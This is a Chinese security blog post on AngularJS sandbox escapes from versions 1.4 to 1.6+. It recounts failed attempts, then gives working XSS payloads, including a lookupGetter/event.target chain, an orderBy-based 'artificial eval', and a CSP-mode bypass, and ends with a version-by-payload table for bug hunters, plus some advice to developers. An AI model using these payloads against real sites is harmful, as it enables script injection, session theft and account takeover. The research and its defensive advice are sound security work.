文章总结: 本文深入研究了AngularJS沙箱逃逸技术,详细记录了从1.4到1.6+版本的多次失败尝试与最终突破,包括利用浏览器特性、构造人工eval、绕过CSP等方法,并提供了完整payload对照表。文章强调实战性,建议开发者避免将用户输入直接用于orderby等过滤器,并假设沙箱可被绕过。
综合评分: 88
文章分类: web安全,漏洞分析,渗透测试,红队
卡了五次壁,换个浏览器版本就通了
原创
升斗安全XiuXiu
升斗安全XiuXiu
升斗安全
2026年9月24日 07:57
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
【文章说明】
- 目的:本文内容仅为网络安全技术研究与教育目的而创作。
- 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
- 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
- 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
📌 这篇讲什么:接上篇。上篇我们把 AngularJS 沙箱的历史翻了一遍,并在没有 {{ }}、$eval 和 $$watchers 的 orderBy 场景里,从零写出了两条新逃逸。下篇接着往上打:1.4 分支我连碰五次壁(每一条失败都写出来了,失败往往比成功更有信息量),最后靠一个 Angular 没检查的事件属性翻盘;然后是在沙箱里人工造一个 eval,以及收官那一击——连 CSP 模式一起打穿。
文末附完整版本 × payload 对照表(1.0.1 到 1.6+ 全覆盖),建议直接截图存手机,实战用得上。
一、1.4 分支:连着五次碰壁 🧱
上篇收尾的 {}.”)));alert(1)//”; 覆盖了 1.3 全线,接下来自然是 1.4。
这一段是我整段研究里挫败感最强的部分,我原样讲。
死路一:用 proto 设全局变量
在 Safari 和 IE11 上,proto 可以拿来设置全局变量——但你没法覆盖已经存在的属性,只能造新的。
({}).__proto__.__proto__ = {__proto__:null, x:123};alert(window.x) // 旧版 Safari 和 IE11 上有效
听着有戏。真用起来是死路:自己定义的属性,优先级高于从 Object 原型继承来的属性。我想覆盖的那个东西,恰好永远赢不了它自己。
死路二:用布尔值骗过真值检查
ensureSafeObject 里用的是 if (obj) 这种真值判断。那我塞个假值进去,不就整个跳过检查了吗?
false.__proto__.x = Function; if(!false) false.x('alert(1)')();
思路很漂亮。但 Angular 不是只看最后一个对象——它会沿着属性链检查每一环。链子中间那个 constructor 照样会被逮住。
死路三:把 Function 的 proto 干掉
还可以这样:把 Function 构造器的 proto 设为 null,它的 constructor 就变成了 undefined——obj.constructor === obj 这条检查自然落空。
问题是有个更根本的坑:你要改 Function 的proto,你先得拿到 Function。而 Angular 恰恰挡的就是这一步。
就算你覆盖掉了每个函数自己的 constructor,代价也来了:原始的 Function 构造器,你自己也找不回来了。
Function.__proto__ = null;alert(Function.constructor); // undefinedFunction.prototype.constructor('alert(1)')(); // 但这条路又被 Angular 挡着
死路四:Firefox 51 的 caller
Firefox 51 有个挺有意思的行为:可以用 lookupGetter 拿到函数的调用者(caller)。其他所有浏览器都不让这么访问。
function y(){ alert(y.__lookupGetter__('caller').call(y));}function x(){ y() }x();
很酷,可惜在 Angular 里没有可用的函数能让我凑出这条链。还是死路。
死路五:给 Function 造个别名
最后一搏——用 defineGetter 加 valueOf,给 Function 构造器造个别名:
'a'.sub.__proto__.__defineGetter__('x',[].valueOf);Function.x('alert(1)')();
不行。只要我一碰constructor属性去拿到 Function,就把想要保护的东西破坏了。死结。
顺带提一个半途的收获:getter 可以让你执行”本来需要对象才能调用”的函数,因为这时 this 就是宿主对象。比如拿 __proto__ 这个方法去取对象原型:
o={};o.__defineGetter__('x','a'.sub.__lookupGetter__('__proto__'));o.x // 拿到当前对象的 __proto__
这条没帮我破沙箱,但它给了我下一节的灵感。
二、转机:Chrome 上的那扇门 🚪
死路走完,我换了个问题问自己:lookupGetter的默认对象是什么?
在 Chrome 上,答案是——window。
这意味着你可以保存一个 lookupGetter 的引用,然后直接用它去查 window 上的任何东西,比如 document:
l = {}.__lookupGetter__;l('document')().defaultView.alert(1)
defineSetter 同理:
x = {}.__defineSetter__;x('y', alert);y = 1
只有一个小麻烦:Angular 会把 alert() 这种直接函数调用,偷偷改写成”Angular 对象上的方法调用”。
解决办法特别 JS——间接调用。(l = l) 这个赋值表达式的值是 l 本身,但走了一趟赋值之后,Angular 就不再把它当成方法调用了,于是 lookupGetter 得以在window 的上下文里执行:
x = {};l = x[['__lookupGetter__']];d = (l = l)('document')();
我们拿到 document 了。这也意味着 Angular 完蛋了,对吧?
嗯,没有。Angular 还有一个检查——它会检查每个对象是不是 DOM 节点:
} else if (// isElement(obj) obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) { throw $parseMinErr('isecdom', 'Referencing DOM nodes in Angular expressions is disallowed! …');}
document 被拦下了。
我想用 defineGetter 把这个 getter 函数赋给一个属性来绕过——但那样会破坏 window 的引用,取不到 document。
于是我做了一件笨事:把 Chrome 56.0.2924.87 的每一个属性都模糊测试了一遍,看哪些 getter 可用。
结论很惨——只有 proto 和 document。两个都被看死了。
然后我做了一件聪明事:换 Chrome beta 57.0.2987.54 再测一遍。
可用的 getter 多出来一大截。
我把这些 getter 挨个试过去。一开始的成果不算吓人——能偷 localStorage,能读浏览历史。有意思,但还谈不上”打穿”。
继续测。然后我看到了event。
每个 event 对象都有一个 target 属性,指向触发这个事件的那个 DOM 对象。而 Angular 的检查名单里,恰好没有target。
于是链条通了:
o = {};l = o[['__lookupGetter__']];(l=l)('event')().target.defaultView.location = 'javascript:alert(1)';
三步:
-
(l=l)('event')()—— 拿到那个没进入检查名单的事件对象;
-
.target—— 它指向 DOM 节点,而 Angular 不查这个属性;
-
.defaultView—— 从 DOM 节点回到 window,然后给
location赋一个javascript:伪协议地址,代码执行。
最后实现了在Chrome1.4.5的弹窗~
回头看这节我最想说的其实是:在卡死的时候,换一个版本的浏览器再测一遍,是成本最低、命中率最高的一招。新版本往往打开新的门,而且厂商自己还没意识到。
三、更新版本:在沙箱里造一个 eval 🧪
再往上打,新沙箱把 lookupGetter 保护起来了,数组访问器那一套也不灵了。
这时候得换个思路想问题。既然 orderBy 上下文缺的是”执行能力”($eval 没了),那——我能不能自己造一个?
关键洞察在这里:orderBy过滤器本身,就是把字符串当作 Angular 表达式去求值的。
那么,在 orderBy 里再套一层 orderBy,不就等于得到了一个 eval?
当然没那么容易,得先破掉 Angular 自带的几道锁。做法是先执行沙箱逃逸的第一部分:让charAt返回更长的字符串,以此破坏 Angular 的isIdent函数(这招我在上一篇博客里写过)。
x = {y:''.constructor.prototype};x.y.charAt = [].join;[1]|orderBy:'x=alert(1)'
三行的意思:
- 第一行拿到 String 的原型;
- 第二行把
charAt偷偷换成join(记得上篇那个”join 会被自动调用”的现象吗,在这里派上用场了); - 第三行:对
[1]应用 orderBy,而排序表达式是x=alert(1)—— 它被当作表达式求值了。
这就是沙箱里的人工 eval。适用 1.4.5 – 1.5.8(Chrome)。
四、收官:把 CSP 模式也打穿 🔓
最后是 1.5.11。
坦白讲,这一个版本我没能在纯 DOM 上下文里打穿。但我找到了一条在属性上下文里有效的路。
用上篇那套”字符串原型 + setTimeout”的对象枚举策略,我发现 Chrome 里 Angular 的 $event 对象有一个path属性,它的值是一个数组——而这个数组里,同时装着 document 和 window。
那还等什么?把这个数组传给 orderBy,表达式求值的作用域就被换成了 window:
test
点一下,弹窗。
但只要你把 CSP 打开,它就哑了。
原因是:Angular 在 CSP 模式下,会检查调用函数的那个 window 对象,于是这条逃逸被拦下。
绕过方法又落回老朋友身上——间接调用。
这次借的是 Array.from:它接受两个参数,第一个是类数组对象,第二个是对数组中每个元素执行的函数。我传一个含元素 1 的数组,再传要执行的 alert:
test
CSP 模式下,依然弹窗。而且这条思路应当适用于每一个 Angular 版本。
到这儿,从 1.0.1 一路打到最新版,链条闭合了。
五、收工:一张可以直接存手机的表 📋
下面是完整的基于 DOM 的 AngularJS 沙箱逃逸清单。这是这个系列里我最建议你截图保存的东西。
| 版本 | 作者 | Payload |
| — | — | — |
| 1.0.1 – 1.1.5 | Mario Heiderich (Cure53) | constructor.constructor('alert(1)')() |
| 1.2.0 – 1.2.18 | Jan Horn (Cure53) | a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() |
| 1.2.19 – 1.2.23 | Mathias Karlsson | toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor); |
| 1.2.24 – 1.2.26 | Gareth Heyes (PortSwigger) | {}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')() |
| 1.2.27 – 1.2.29 / 1.3.0 – 1.3.20 | Gareth Heyes (PortSwigger) | {}.")));alert(1)//"; |
| 1.4.0 – 1.4.5 | Gareth Heyes (PortSwigger) | o={};l=o[['__lookupGetter__']];(l=l)('event')().target.defaultView.location='javascript:alert(1)'; |
| 1.4.5 – 1.5.8 | Gareth Heyes & Ian Hickey | x={y:''.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:'x=alert(1)' |
| ≥ 1.6.0 | Mario Heiderich (Cure53) | constructor.constructor('alert(1)')() |
顺带一提:这类列表在 XSS 速查表里是持续维护的,分了三块——反射型 AngularJS 沙箱逃逸、基于 DOM 的 AngularJS 沙箱逃逸、AngularJS CSP 绕过。有新绕过出来就会更新,建议存个书签。
六、给开发者几句掏心窝的话 🧠
- 永远不要把用户输入喂给
orderBy这类过滤器,也不要在服务端反射用户输入到模板里。这是整个系列里唯一真正管用的建议。 - 无论你用的是哪个版本、用户输入落在什么上下文里,都请直接假设沙箱已经被绕过了。 这张表说明了一件事:从 1.0.1 到 1.5.11,没有哪个版本是安全的。
给打算给自家语言/框架加沙箱的人:
动手之前请认真算一笔账——它带来的安全收益,是否真的超过开发成本,以及它可能给一部分用户制造的”虚假安全感”。
虚假安全感是最贵的:因为有了沙箱,开发者就不再做输出编码了。而 Angular 官方的态度已经写得很明白——他们从不认为沙箱是一项安全功能。
给猎人:
- 先看上下文,再挑 payload。 同一个框架,有没有
{{ }}、有没有$eval,结论天差地别。 - 检查用的是
===,就试试等价物。 数组访问器这一招,贯穿了整个系列。 - 失败要记账。 我那五条死路,每一条都在告诉我”这堵墙是实的”,把搜索空间砍掉了大半。
- 卡住就换版本。 Chrome beta 那次换手,是整个 1.4 攻坚战的转折点。
上堆了十年的补丁墙,被一个引号撬开了下两篇到这里收尾,照例求个三连。
从第一次碰壁到最后把 CSP 也绕过去,这一整套东西断断续续搞了很久,笔记记了小半本。如果它让你下次看到那种”表格排序参数直接取 URL”的老 Angular 页面时,会下意识多停两秒——那这些夜晚就没白花。这两秒,可能就是别人漏掉、而你捡到的那个洞。
- 觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到;
- 顺手**「转发」**给群里那几个还在维护 Angular 1.x 老项目的兄弟,第五节那张表直接甩给他们;
- 还没**「关注」**的朋友点个关注,压箱底的笔记我会陆续整理发出来,只发在这里;
- 也欢迎**「推荐」**给身边做前端、做安全的朋友,一起少写点”把用户输入喂给过滤器”的代码。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:升斗安全 升斗安全XiuXiu
升斗安全XiuXiu《卡了五次壁,换个浏览器版本就通了》